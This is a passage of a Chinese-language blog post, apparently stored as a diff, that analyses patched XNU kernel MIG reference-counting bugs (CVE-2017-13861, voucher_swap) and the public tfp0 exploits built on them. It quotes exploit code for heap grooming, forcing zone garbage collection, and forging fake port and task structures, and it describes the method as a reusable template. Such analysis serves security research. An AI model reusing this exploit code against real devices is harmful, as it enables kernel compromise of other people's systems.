((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) { + // The server function is responsible for the contents + // of the message. The reply port right is moved + // to the reply message, and we have deallocated + // the destination port right, so we just need + // to free the kmsg. + ipc_kmsg_free(request); + } else { + // The message contents of the request are intact. + // Destroy everthing except the reply port right, + // which is needed in the reply message. + request-&gt;ikm_header-&gt;msgh_local_port = MACH_PORT_NULL; + ipc_kmsg_destroy(request); + } + +If the MIG callout returns success, then it means that the method took ownership of *all* of the rights contained in the message. +If the MIG callout returns a failure code then the means the method took ownership of *none* of the rights contained in the message. + +ipc_kmsg_free will only destroy the message header, so if the message had any other port rights then their reference counts won't be +decremented. ipc_kmsg_destroy on the other hand will decrement the reference counts for all the port rights in the message, even those +in port descriptors. + +If we can find a MIG method which returns KERN_SUCCESS but doesn't in fact take ownership of any mach ports its passed (by for example +storing them and dropping the ref later, or using them then immediately dropping the ref or passing them to another method which takes +ownership) then this can lead to us being able to leak references. +</code></pre></div></div> +<p>以上的规则主要描述的是资源释放责任的问题,ipc_kobject_server内部会调用MIG Handler,并根据Handler的返回值来处理资源释放:如果返回KERN_SUCCESS,表明Handler函数已经释放了除Header外的全部资源(dec reference);否则表明Handler函数未释放传入资源,需要ipc_kobject_server调用ipc_kmsg_destroy来释放全部资源,包括Head的资源(remote/local port)。</p> + +<p>基于这样的规则,开发的MIG Handler则必须遵守,否则会出现reference count leak问题。比如,Handler函数释放了传入资源,却返回失败,导致ipc_kobject_server二次释放资源;或者Handler函数返回成功,却没有消费reference count,也导致count leak。</p> + +<p>从漏洞挖掘的角度来看,我们就是需要找到全部违背规则的MIG Handler。MIG Handler的列表参考<code class="language-plaintext highlighter-rouge">mig_e</code>这个全局变量:</p> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>const struct mig_subsystem *mig_e[] = { + (const struct mig_subsystem *)&amp;mach_vm_subsystem, + (const struct mig_subsystem *)&amp;mach_port_subsystem, + (const struct mig_subsystem *)&amp;mach_host_subsystem, + (const struct mig_subsystem *)&amp;host_priv_subsystem, + (const struct mig_subsystem *)&amp;host_security_subsystem, + (const struct mig_subsystem *)&amp;clock_subsystem, + (const struct mig_subsystem *)&amp;clock_priv_subsystem, + (const struct mig_subsystem *)&amp;processor_subsystem, + (const struct mig_subsystem *)&amp;processor_set_subsystem, + (const struct mig_subsystem *)&amp;is_iokit_subsystem, + (const struct mig_subsystem *)&amp;lock_set_subsystem, + (const struct mig_subsystem *)&amp;task_subsystem, + (const struct mig_subsystem *)&amp;thread_act_subsystem, +#ifdef VM32_SUPPORT + (const struct mig_subsystem *)&amp;vm32_map_subsystem, +#endif + (const struct mig_subsystem *)&amp;UNDReply_subsystem, + (const struct mig_subsystem *)&amp;mach_voucher_subsystem, + (const struct mig_subsystem *)&amp;mach_voucher_attr_control_subsystem, + (const struct mig_subsystem *)&amp;memory_entry_subsystem, + +#if XK_PROXY + (const struct mig_subsystem *)&amp;do_uproxy_xk_uproxy_subsystem, +#endif /* XK_PROXY */ +#if MACH_MACHINE_ROUTINES + (const struct mig_subsystem *)&amp;MACHINE_SUBSYSTEM, +#endif /* MACH_MACHINE_ROUTINES */ +#if MCMSG &amp;&amp; iPSC860 + (const struct mig_subsystem *)&amp;mcmsg_info_subsystem, +#endif /* MCMSG &amp;&amp; iPSC860 */ + (const struct mig_subsystem *)&amp;catch_exc_subsystem, + (const struct mig_subsystem *)&amp;catch_mach_exc_subsystem, + +}; +</code></pre></div></div> +<p>每一个subsystem都包含大量的MIG Handler,例如iokit相关的<code class="language-plaintext highlighter-rouge">is_iokit_subsystem</code>:</p> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>_Xio_object_get_class +_Xio_object_conforms_to +_Xio_iterator_next +_Xio_iterator_reset +_Xio_service_get_matching_services +_Xio_registry_entry_get_property +_Xio_registry_create_iterator +_Xio_registry_iterator_enter_entry +... +_Xio_connect_set_notification_port +_Xio_connect_map_memory +_Xio_connect_method_scalarI_scalarO +... + +</code></pre></div></div> + +<p>下一节展示了一个违背规则的实例。</p> + +<h3 id="example-1-iosurfacerootuserclient-vulnerability">Example 1: IOSurfaceRootUserClient vulnerability</h3> +<p>参考: <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1417#c3">CVE-2017-13861</a></p> + +<p>Ian Beer的描述如下:</p> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IOSurfaceRootUserClient external method 17 (s_set_surface_notify) will drop a reference on the wake_port +(via IOUserClient::releaseAsyncReference64) then return an error code if the client has previously registered +a port with the same callback function. + +The external method's error return value propagates via the return value of is_io_connect_async_method back to the +MIG generated code which will drop a futher reference on the wake_port when only one was taken. + +This bug is reachable from the iOS app sandbox as demonstrated by this PoC. +</code></pre></div></div> +<p>s_set_surface_notify不管怎么样都会drop一个wake_port的计数,但是却不一定返回成功。这样就违背了MIG Ownership规则,造成wake_port的reference count leak。</p> + +<p>下一小节详细描述了Ian Beer是如何exploit这个漏洞获取tfp0(task for pid 0)的。</p> + +<h3 id="example-2-async_wake_ios-exploit-tfp0">Example 2: async_wake_ios exploit (tfp0)</h3> +<p>Ian Beer针对上一小节的漏洞开发了一个exp,最终获得tfp0,达到任意内核地址读写的目的。exp source code可以从上面的链接中获取。<br /> +本节介绍这个exp的原因是,这是一个很好的模版,这一类型的漏洞都可以套用这个模版开发自己的exp,事实上,我就套用了这个模版针对necp和proc_args漏洞开发了针对macOS 10.14的exp.<br /> +Ian Beer除了使用上述漏洞CVE-2017-13861,还使用了另一个heap内存泄漏的漏洞<a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1372">CVE-2017-13865</a>. +CVE-2017-13861: 用来dec ref count -&gt; 0,最终释放这个ipc_port。<br /> +CVE-2017-13865: 用来泄漏heap内存,在本例中,用来泄漏ipc_port的地址。</p> + +<p>Ian Beer的exp technique描述如下:</p> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I use the proc_pidlistuptrs bug to disclose the address of arbitrary ipc_ports. This makes stuff a lot simpler :) +To find a port address I fill a bunch of different-sized kalloc allocations with a pointer to the target port via mach messages using OOL_PORTS. + +I then trigger the OOB read bug for various kalloc sizes and look for the most commonly leaked kernel pointer. Given the +semantics of kalloc this works well. + +I make a pretty large number of kalloc allocations (via sending mach messages) in a kalloc size bin I won't use later, and I keep hold of them for now. + +I allocate a bunch of mach ports to ensure that I have a page containing only my ports. I use the port address disclosure to find +a port which fits within particular bounds on a page. Once I've found it, I use the IOSurface bug to give myself a dangling pointer to that port. + +I free the kalloc allocations made earlier and all the other ports then start making kalloc.4096 allocations (again via crafted mach messages.) + +I do the reallocation slowly, 1MB at a time so that a kernel zone garbage collection will trigger and collect the page that the dangling pointer points to. + +The GC will trigger when the zone map is over 95% full. It's easy to do that, the trick is to make sure there's plenty of stuff which the GC can collect +so that you don't get immediately killed by jetsam. All devices have the same sized zone map (384MB). + +The replacement kalloc.4096 allocations are ipc_kmsg buffers which contain a fake IKOT_TASK port pointing to a fake struct task. +I use the bsdinfo-&gt;pid trick to build an arbitrary read with this (see details in async_wake.c.) + +With the arbitrary read I find the kernel task's vm_map and the kernel ipc_space. I then free and reallocate the kalloc.4096 buffer replacing it with a fake +kernel task port. +</code></pre></div></div> +<p>主要方法是:</p> +<ol> + <li>确保一整个page存储的全部是我们分配的ipc_port</li> + <li>使用漏洞将目标ipc_port释放</li> + <li>释放page上其他的ipc_port,使整个page处于释放状态</li> + <li>触发gc,使得page能够跨zone被重新使用</li> + <li>使用构造的ipc_kmsg重用page,ipc_kmsg将用fake_port填充page</li> + <li>使用pid_for_task获得kernel task vm_map &amp; ipc_space</li> + <li>重新使用ipc_kmsg重用page,这次fake_port指向的fake_task包含了一个fake kernel task port</li> + <li>获得tfp0,结束</li> +</ol> + +<p>下面详细介绍一下上述步骤(更多请参考async_wake_ios)</p> +<h4 id="1-确保一整个page存储的全部是我们分配的ipc_port">1. 确保一整个page存储的全部是我们分配的ipc_port</h4> +<p>作者一次性分配了100000个ipc_port:</p> +<pre><code class="language-C"> int n_pre_ports = 100000; //8000 + mach_port_t* pre_ports = prepare_ports(n_pre_ports); +</code></pre> +<p>这样消耗了足够的ipc zone空间里的free entry,然后必然要申请page来存放新的ipc_port,从而保证了一定有page上全是新分配的ipc_port。<br /> +<img src="/images/res/ipc_port_page.png" alt="ipc_port_page" /></p> + +<h4 id="2-使用漏洞将目标ipc_port释放">2. 使用漏洞将目标ipc_port释放</h4> +<p>首先需要知道什么是目标ipc_port?Ian Beer在源码中的描述如下:</p> +<pre><code class="language-C"> // now find a suitable port + // we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't + // completely control all the data: + // specifically we're targetting kalloc.4096 but the message body will only span + // xxx448 -&gt; xxxfbc so we want to make sure the port we target is within that range + // actually, since we're also putting a fake task struct here and want + // the task's bsd_info pointer to overlap with the ip_context field we need a stricter range +</code></pre> +<p>这里的目标主要是和作者的exploit方法有关,后文会提到作者使用了ipc_kmsg这种方法分配并填充内核内存,这种方法的缺点是,不能完整控制整个page,毕竟其还包括一些header和tailer的部分,真正受控的部分是body部分。所以为了能使用ipc_kmsg复用ipc_port内存,我们需要找到能落到body部分的ipc_port。作者的搜索条件是xxx448 -&gt; xxxfbc,实际因为exploit的时候,在fake_port前面还要放置fake_task,所以实际搜索条件还要更严格一些,作者在源码中用的是xxxa00 -&gt; xxxe80:</p> +<pre><code class="language-C"> for (int i = 0; i &lt; ports_to_test; i++) { + mach_port_t candidate_port = pre_ports[base+i]; + uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND); + uint64_t page_offset = candidate_address &amp; 0xfff; + if (page_offset &gt; 0xa00 &amp;&amp; page_offset &lt; 0xe80) { // this range could be wider but there's no need + printf("found target port with suitable allocation page offset: 0x%016llx\n", candidate_address); + pre_ports[base+i] = MACH_PORT_NULL; + first_port = candidate_port; + first_port_address = candidate_address; + break; + } + } +</code></pre> +<p>至于如何获得ipc_port的内核地址,作者这里使用的是heap泄漏的漏洞,用ool_ports的方法找到指定的port内核地址,具体可以参考函数<code class="language-plaintext highlighter-rouge">find_port_address</code>。<br /> +<img src="/images/res/target_ipc_port_page.png" alt="target_ipc_port_page" /></p> + +<p>接下来使用前面提到的ipc_port deference漏洞将找到的ipc_port释放,即make_dangling</p> +<pre><code class="language-C">make_dangling(first_port); +</code></pre> +<p><img src="/images/res/freed_first_ipc_port_page.png" alt="freed_first_ipc_port_page" /><br /> +上图中,first_port即是之前找到的符合要求的ipc_port的用户态句柄,现在已经使用漏洞将其内存强行释放掉了,留下用户态的first_port句柄还指向它。注意这里的强行释放指的是没有抹除ipc_entry中的内容。</p> + +<h4 id="3-释放page上其他的ipc_port使整个page处于释放状态">3. 释放page上其他的ipc_port,使整个page处于释放状态</h4> +<p>直接将page上的其他port使用<code class="language-plaintext highlighter-rouge">mach_port_destroy</code>释放掉即可。<br /> +<img src="/images/res/all_freed_ports.png" alt="all_freed_ports" /></p> + +<h4 id="4-触发gc使得page能够跨zone被重新使用">4. 触发gc,使得page能够跨zone被重新使用</h4> +<p>目前上述的page里面的ipc_port已经全部被释放了,只留下一个first_port作为dangling pointer还指向page中的目标ipc_port,后面就可以用一些有目的性的内容重用这个page了(主要指的是重用目标ipc_port内存)。<br /> +但和普通的UAF不一样的是,并不能直接分配一块大小相近的内存来重用,原因是这个page属于特定的ipc port zone。为了能重用到这块page,我们需要触发gc(garbage collection)将其从ipc port zone中释放出来。</p> +<pre><code class="language-C"> // free the smaller ports, they will get gc'd later: + for (int i = 0; i &lt; n_smaller_ports; i++) { + mach_port_destroy(mach_task_self(), smaller_ports[i]); + } + + + // now try to get that zone collected and reallocated as something controllable (kalloc.4096): + + const int replacer_ports_limit = 200; // about 200 MB + mach_port_t replacer_ports[replacer_ports_limit]; + memset(replacer_ports, 0, sizeof(replacer_ports)); + uint32_t i; + for (i = 0; i &lt; replacer_ports_limit; i++) { + uint64_t context_val = (context_magic)|i; + *context_ptr = context_val; + replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size); + + // we want the GC to actually finish, so go slow... + pthread_yield_np(); + usleep(10000); + printf("%d\n", i); + } +</code></pre> +<p>作者在触发gc前,提前申请了150MB的数据,这里将其全部释放以供gc使用;然后慢慢重新分配内存,这些内存全部填充了准备好的ipc_kmsg内容,注意每申请1MB就需要等10ms。</p> + +<h4 id="5-使用构造的ipc_kmsg重用pageipc_kmsg将用fake_port填充page">5. 使用构造的ipc_kmsg重用page,ipc_kmsg将用fake_port填充page</h4> +<p>第4步中,提到触发gc时,用精心构造的ipc_kmsg重用page,这里很关键,这些数据是为tfp0准备的。上面的代码中可以看到,replacer_message_body即是构造好的数据。主要由<code class="language-plaintext highlighter-rouge">build_message_payload</code>函数构造:</p> +<pre><code class="language-C"> uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &amp;context_ptr); + printf("replacer_body_size: 0x%x\n", replacer_body_size); + printf("message_body_offset: 0x%x\n", message_body_offset); +</code></pre> + +<p>build_message_payload函数主要是在一个page大小内构造了fake_port和fake_task。</p> +<pre><code class="language-C">uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr) { + uint8_t* body = malloc(message_body_size); + memset(body, 0, message_body_size); + + uint32_t port_page_offset = dangling_port_address &amp; 0xfff; + + // structure required for the first fake port: + uint8_t* fake_port = body + (port_page_offset - message_body_offset); + + + *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK; + *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references + *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights + *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver; + *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef; + + *context_ptr = (uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)); + + + // set the kobject pointer such that task-&gt;bsd_info reads from ip_context: + int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO); + + uint64_t fake_task_address = dangling_port_address + fake_task_offset; + *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address; + + + // when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task + // pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that! + + if (fake_port + fake_task_offset &lt; body) { + printf("the maths is wrong somewhere, fake task doesn't fit in message\n"); + sleep(10); + exit(EXIT_FAILURE); + } + + uint8_t* fake_task = fake_port + fake_task_offset; + + // set the ref_count field of the fake task: + *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references + + // make sure the task is active + *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1; + + // set the vm_map of the fake task: + *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map; + + // set the task lock type of the fake task's lock: + *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22; + return body; +} +</code></pre> +<p>注意fake_port和fake_task的位置,首先fake_port_和fake_task都在这个page内,其次fake_port的IP_KOBJECT指向fake_task,而且还要让task-&gt;bsd_info和ip_context重叠,这样后面只要设置context为任意地址值,就可以用pid_for_task读取任意内核内存了。</p> + +<p><img src="/images/res/uaf_fake_port_task.png" alt="uaf_fake_port_task" /></p> + +<h4 id="6-使用pid_for_task获得kernel-task-vm_map--ipc_space">6. 使用pid_for_task获得kernel task vm_map &amp; ipc_space</h4> +<p>到目前为止,已经实现了任意地址读了:通过调用<code class="language-plaintext highlighter-rouge">mach_port_set_context</code>把任意地址设置到context里面,再调用pid_for_task即可。<br /> +接下来,为了获取tfp0,我们需要任意地址写的权限,只需要将步骤5中的fake_task的vm_map替换成kernel_map即可,所以首先需要得到kernel_map的地址。<br /> +此处略。</p> + +<h4 id="7-重新使用ipc_kmsg重用page这次fake_port指向的fake_task包含了一个fake-kernel-task-port">7. 重新使用ipc_kmsg重用page,这次fake_port指向的fake_task包含了一个fake kernel task port</h4> +<p>步骤5中,我们已经用一个ipc_kmsg重用了page,且fake_task的vm_map值是0,为了替换成kernel_map,我们需要再次释放这个page,并用新构造的ipc_kmsg重用page。</p> + +<p><img src="/images/res/kmsg_free.png" alt="kmsg_free" /> +<img src="/images/res/kernel_map_port.png" alt="kernel_map_port" /></p> + +<h4 id="8-获得tfp0结束">8. 获得tfp0,结束</h4> +<p>至此,我们已经可以直接使用first_port作为tfp0调用<code class="language-plaintext highlighter-rouge">mach_vm_read</code>和<code class="language-plaintext highlighter-rouge">mach_vm_write</code>读写任意内核内存了。<br /> +作者最后还额外创建了一个safe_tfp0,略。</p> + +<h3 id="apple-fixed-this-kind-of-issue">Apple Fixed This Kind of Issue</h3> +<p>从这个exploit可以看出,这是一种新类型的漏洞和利用方法,我们只要能通过代码审计找到所有违背MIG Ownership规则的地方,就能利用上面的模版exploit macOS和iOS。<br /> +苹果通过修复<code class="language-plaintext highlighter-rouge">ipc_port_release_send</code>这个函数把这一类型的漏洞全部封堵了:</p> +<pre><code class="language-C">void +ipc_port_release_send( + ipc_port_t port) +{ + ipc_port_t nsrequest = IP_NULL; + mach_port_mscount_t mscount; + + if (!IP_VALID(port)) + return; + + ip_lock(port); + + assert(port-&gt;ip_srights &gt; 0); + if (port-&gt;ip_srights == 0) { + panic("Over-release of port %p send right!", port); + } + + port-&gt;ip_srights--; + ... +} +</code></pre> +<p>主要是增加了一个ip_srights的检查,如果下溢了,直接panic,没有机会再dec ref count了。</p> + +<h3 id="conclusion">Conclusion</h3> +<p>由于MIG Rule的原因,Ian Beer发现了一批ipc_port reference count leak类型的漏洞,并且开发了一个很好的模版来完成tfp0。影响很大,苹果也修复了这一类型的漏洞,至此,已经不能简单使用MIG Rule漏洞来做exploit了。<br /> +但是,这个exploit技巧仍然有深远的影响。第一,这是一个很好的模版,引入了tfp0这个概念。第二,如果你能用其他手段将ipc_port释放掉,仍然能直接套用此模版成功exploit,比如我发现的necp type confusion漏洞。</p> + +<h2 id="ipc_voucher-reference-count-issue">IPC_VOUCHER Reference Count Issue</h2> +<p>苹果封堵了ipc_port利用方法后,最近又爆出一种看起来很类似的漏洞,voucher uaf。这种漏洞影响很大,作者只使用了这一个漏洞就得到了tfp0。同时,除了作者本人,网络上出现了很多安全研究员利用这个漏洞完成了ios 12.1.2前的越狱。</p> + +<p>本文主要介绍这个漏洞两位作者的exploit。</p> + +<h3 id="voucher-swap-vulnerability">Voucher Swap Vulnerability</h3> +<p>首先,我们来看一下这个漏洞本身。</p> +<pre><code class="language-C">mig_internal novalue _Xtask_swap_mach_voucher + (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP) +{ +... + kern_return_t RetCode; + task_t task; + ipc_voucher_t new_voucher; + ipc_voucher_t old_voucher; +... + task = convert_port_to_task(In0P-&gt;Head.msgh_request_port); + + new_voucher = convert_port_to_voucher(In0P-&gt;new_voucher.name); + + old_voucher = convert_port_to_voucher(In0P-&gt;old_voucher.name); + + RetCode = task_swap_mach_voucher(task, new_voucher, &amp;old_voucher); + + ipc_voucher_release(new_voucher); + + task_deallocate(task); + + if (RetCode != KERN_SUCCESS) { + MIG_RETURN_ERROR(OutP, RetCode); + } +... + if (IP_VALID((ipc_port_t)In0P-&gt;old_voucher.name)) + ipc_port_release_send((ipc_port_t)In0P-&gt;old_voucher.name); + + if (IP_VALID((ipc_port_t)In0P-&gt;new_voucher.name)) + ipc_port_release_send((ipc_port_t)In0P-&gt;new_voucher.name); +... + OutP-&gt;old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher); + + OutP-&gt;Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + OutP-&gt;Head.msgh_size = (mach_msg_size_t)(sizeof(Reply)); + OutP-&gt;msgh_body.msgh_descriptor_count = 1; +} +</code></pre> +<p>在_Xtask_swap_mach_voucher中,通过调用<code class="language-plaintext highlighter-rouge">convert_port_to_voucher</code>获得了voucher对象,并且reference count + 1;而<code class="language-plaintext highlighter-rouge">ipc_voucher_release</code>和<code class="language-plaintext highlighter-rouge">convert_voucher_to_port</code>则会将reference count - 1,看起来一切正常。<br /> +问题出在<code class="language-plaintext highlighter-rouge">task_swap_mach_voucher</code>中:</p> +<pre><code class="language-C">kern_return_t +task_swap_mach_voucher( + task_t task, + ipc_voucher_t new_voucher, + ipc_voucher_t *in_out_old_voucher) +{ + if (TASK_NULL == task) + return KERN_INVALID_TASK; + + *in_out_old_voucher = new_voucher; + return KERN_SUCCESS; +} +</code></pre> +<p>直接将new_voucher赋值给了in_out_old_voucher,即_Xtask_swap_mach_voucher中的old_voucher被直接替换成了new_voucher,这也意味着new_voucher被释放了2次,直接导致了voucher对象被释放。<br /> +需要注意的是,苹果对ipc_port ref count漏洞的patch对voucher对象无效,因为他们是不同的对象,一个是ipc_port,一个是ipc_voucher。ipc_port是用来做通讯的,其中的ip_kobject指向具体的内核对象,可以是task,可以是threat,也可以是voucher。ipc_voucher的数据结构如下:</p> +<pre><code class="language-C">struct ipc_voucher { + iv_index_t iv_hash; /* checksum hash */ + iv_index_t iv_sum; /* checksum of values */ + os_refcnt_t iv_refs; /* reference count */ + iv_index_t iv_table_size; /* size of the voucher table */ + iv_index_t iv_inline_table[IV_ENTRIES_INLINE]; + iv_entry_t iv_table; /* table of voucher attr entries */ + ipc_port_t iv_port; /* port representing the voucher */ + queue_chain_t iv_hash_link; /* link on hash chain */ +}; +</code></pre> +<p>本文介绍的voucher漏洞即上述ipc_voucher空间可以被UAF。<br /> +接下来,我们看看两位作者是如何做exploit的。</p> + +<h3 id="s0rrymybads-exploit-tfp0">S0rryMybad’s Exploit (tfp0)</h3> +<p>参考: <a href="http://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202.html">Author: Qixun Zhao(@S0rryMybad) of Qihoo 360 Vulcan Team</a><br /> +这个洞是S0rryMybad在天府杯比赛的时候用的洞,结合了一个browser的洞,做到了对iOS12的远程提权。<br /> +参考文章中作者已经介绍的很详细了,下面只是把重点列一下。<br /> +S0rryMybad的主要思路可能是(没有源码,部分是个人理解添加的):</p> +<ol> + <li>保证一整页全是ipc_voucher对象</li> + <li>随便选一个voucher对象,设置dangling pointer:调用thread_set_mach_voucher将voucher对象绑定到threat中,然后用漏洞将voucher对象ref降低。</li> + <li>释放整页的ipc_voucher。</li> + <li>用OSString对象复用page,伪造ipc_voucher对象,将其iv_port指向一个fake_port</li> + <li>fake_port地址可以从OSString中选,也可以hardcode,作者选择了hardcode。如果从OSString中选一个也行,因为可以提前用OSString泄漏一个iv_port对象地址出来。</li> + <li>fake_port指向了一个fake_task,fake_task的值可以用OSString设置,实现了tfp0。</li> + <li>不过用OSString设置值很麻烦,因为每次设置一个新的地址值,需要重新构建fake_port-&gt;fake_task-&gt;new_address,作者使用了remap的方法,将内核待设置任意地址值的虚拟地址映射到了用户态,这样只要在用户态更改值就可以做到任意地址读了。</li> + <li>构建fake kernel task,实现tfp0。</li> +</ol> + +<h3 id="brandons-exploit-tfp0">Brandon’s Exploit (tfp0)</h3> +<p>参考: <a href="https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html">voucher_swap: Exploiting MIG reference counting in iOS 12</a></p> + +<p>Brandon的方法主要如下:</p> + +<ol> + <li>Allocate a page of Mach vouchers.</li> + <li>Store a pointer to the target voucher in the thread’s ith_voucher field and drop the added reference using the vulnerability.</li> + <li>Deallocate the voucher ports, freeing all the vouchers.</li> + <li>Force zone gc and reallocate the page of freed vouchers with an array of out-of-line ports. Overlap the target voucher’s iv_refs field with the lower 32 bits of a pointer to the base port and overlap the voucher’s iv_port field with NULL.</li> + <li>Call thread_get_mach_voucher() to retrieve a voucher port for the voucher overlapping the out-of-line ports.</li> + <li>Use the vulnerability again to modify the overlapping voucher’s iv_refs field, which changes the out-of-line base port pointer so that it points somewhere else instead.</li> + <li>Once we receive the Mach message containing the out-of-line ports, we get a send right to arbitrary memory interpreted as an ipc_port.</li> +</ol> + +<p><img src="/images/res/voucher_swap-diagram-1.gif" alt="task_swap_voucher_mig" /></p> + +<p>Brandon的方法主要是:</p> +<blockquote> + <p>incrementing an out-of-line Mach port pointer so that it points into pipe buffers.</p> +</blockquote> + +<p>Brandon的方法主要利用了pipe buffers这个技巧,此技巧最早参见Ian Beer的<a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1558#c3">multi_path</a>和<a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1564#c10">empty_list</a>.<br /> +为了使用这个技巧,作者二次使用这个漏洞,将ool_ports中的某个port地址值自增,以使得其与pipe buffer重叠,再通过receive ool ports得到新的mach port。随后即可使用这个新的mach_port在用户态构造tfp0。</p> + +<p>我在第一次阅读这篇文章后,产生了两个问题:</p> +<ol> + <li>为何额外要设置dangling pointer?用户态创建voucher的时候不是已经获得一个mach port了吗,就用这个mach port作为dangling pointer不行吗?比如在本文上一章中介绍Ian Beer的exploit时候,也是如此,直接用first port即可。</li> + <li>通过receive port即可获得新的mach_port吗?毕竟真实的ipc_port对象没有被修改,修改的只是ool_ports这个array中的地址值而已。</li> +</ol> + +<p>通过阅读XNU源码,可以知道,与Ian Beer哪个async wakeup不一样的是,这次voucher对象的release,是官方的release方法,会将voucher上的ipc_object也释放掉,包括ipc_space中的entry,即mach port被释放掉了,不存在dangling pointer了,所以才需要额外设置一个dangling pointer。而关于第二个问题,可以参考<code class="language-plaintext highlighter-rouge">ipc_kmsg_copyout_ool_ports_descriptor</code>,最终调用<code class="language-plaintext highlighter-rouge">ipc_object_copyout</code>将修改后的地址作为一个新的对象插入task的ipc_space。这里也正是因为调用了ipc_object_copyout,需要提前将对应的pipe buffer初始化好,否则会panic:</p> +<pre><code class="language-C"> // 4. Spray our pipe buffers. We're hoping that these land contiguously right after the + // ports. + assert(pipe_buffer_size == 16384); + pipe_buffer = calloc(1, pipe_buffer_size); + assert(pipe_buffer != NULL); + assert(pipe_count &lt;= IO_BITS_KOTYPE + 1); + size_t pipes_sprayed = pipe_spray(pipefds_array, + pipe_count, pipe_buffer, pipe_buffer_size, + ^(uint32_t pipe_index, void *data, size_t size) { + // For each pipe buffer we're going to spray, initialize the possible ipc_ports + // so that the IKOT_TYPE tells us which pipe index overlaps. We have 1024 pipes and + // 12 bits of IKOT_TYPE data, so the pipe index should fit just fine. + iterate_ipc_ports(size, ^(size_t port_offset, bool *stop) { + uint8_t *port = (uint8_t *) data + port_offset; + FIELD(port, ipc_port, ip_bits, uint32_t) = io_makebits(1, IOT_PORT, pipe_index); + FIELD(port, ipc_port, ip_references, uint32_t) = 1; + FIELD(port, ipc_port, ip_mscount, uint32_t) = 1; + FIELD(port, ipc_port, ip_srights, uint32_t) = 1; + }); + }); +</code></pre> + +<h4 id="issues">Issues</h4> +<p>Brandon的exploit主要问题在于,在第4步中,他用ool_ports来重用ipc_voucher,造成iv_refs与ipc_port的低32位重合,而iv_refs是有要求的:</p> +<blockquote> + <p>iv_refs must be in the range 1-0x0fffffff</p> +</blockquote> + +<p>在iOS中,由于弱kASLR,这个条件还好;但是在macOS中,这个条件很难满足。</p> + +<h3 id="sparks-exploit-tfp0">Spark’s Exploit (tfp0)</h3> +<p>略。</p> + +<h3 id="apple-fixed-this-vulnerability">Apple Fixed This Vulnerability</h3> +<p>在我的10.14.3 macOS上,苹果的新版_task_swap_mach_voucher代码如下:</p> +<pre><code class="language-C">__text:FFFFFF80003DEBB0 public _task_swap_mach_voucher +__text:FFFFFF80003DEBB0 _task_swap_mach_voucher proc near +__text:FFFFFF80003DEBB0 push rbp +__text:FFFFFF80003DEBB1 mov rbp, rsp +__text:FFFFFF80003DEBB4 mov rdi, [rdx] +__text:FFFFFF80003DEBB7 call _ipc_voucher_release +__text:FFFFFF80003DEBBC mov eax, 2Eh ; '.' +__text:FFFFFF80003DEBC1 pop rbp +__text:FFFFFF80003DEBC2 retn +__text:FFFFFF80003DEBC2 _task_swap_mach_voucher endp +</code></pre> +<p>即释放old_voucher然后直接返回失败。</p> + +<h3 id="conclusion-1">Conclusion</h3> +<p>S0rryMybad的exploit技巧和Brandon的完全不一样,一个用iv_port做文章,一个用iv_ref做文章。<br /> +需要特别注意的是,Brandon的利用技巧中,完全没有利用iv_port地址leak这个特性,而是找到了很多其他的方法来泄漏内核地址:</p> +<ol> + <li>ip_messages.imq_messages</li> + <li>ip_requests</li> +</ol> + +<p>我们也可以使用这个小技巧,针对port类型的漏洞就可以减少一个对kernel address leak类型洞的需求。</p> + +<h2 id="pac">PAC</h2> +<p>参考: <a href="https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html">Examining Pointer Authentication on the iPhone XS</a></p> + +<h3 id="what-is-pac">What is PAC?</h3> +<p>PAC即Pointer Authentication Code,很多人也直接将Pointer Authentication称为PAC,本文也是指的是Pointer Authentication。<br /> +在PAC的机器上,主要加入了一些PAC指令还加密揭秘内核指针值。</p> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ARMv8.3-A introduces three new categories of instructions for dealing with PACs: + 